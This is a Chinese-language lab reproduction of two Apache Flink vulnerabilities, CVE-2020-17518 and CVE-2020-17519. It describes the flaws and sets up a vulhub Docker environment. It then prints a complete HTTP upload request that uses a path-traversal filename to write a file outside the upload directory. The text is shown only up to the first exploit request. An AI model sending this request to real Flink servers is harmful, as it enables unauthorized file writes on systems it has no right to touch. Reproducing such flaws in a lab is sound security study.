Apache Flink（CVE-2020-17518&&CVE-2020-17519）漏洞复现

漏洞描述

CVE-2020-17518：通过REST API写入远程文件

影响版本：Flink 1.5.1-1.11.2

Flink 1.5.1引入了REST API，可通过修改HTTP HEADER将任意文件写入到文件系统的任意位置。

CVE-2020-17519：通过REST API读取远程文件

影响版本 Flink 1.11.0-1.11.2

Flink 1.11.0-1.11.2中引入的一项更改，允许攻击者通过JobManager进程的REST接口读取本地文件系统上的任何文件，访问仅限于JobManager可访问的文件。

环境搭建

下载vulhub

1	git clone https://github.com/vulhub/vulhub.git

进入目录

1	cd vulhub/flink/CVE-2020-17518

安装环境

1	docker-compose up -d

访问

这里版本为1.11.2

漏洞复现

CVE-2020-17518复现

构造数据包

POST /jars/upload HTTP/1.1
Host: your ip:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Length: 192

------WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/flag"

This is flag 
------WebKitFormBoundaryoZ8meKnrrso89R6Y--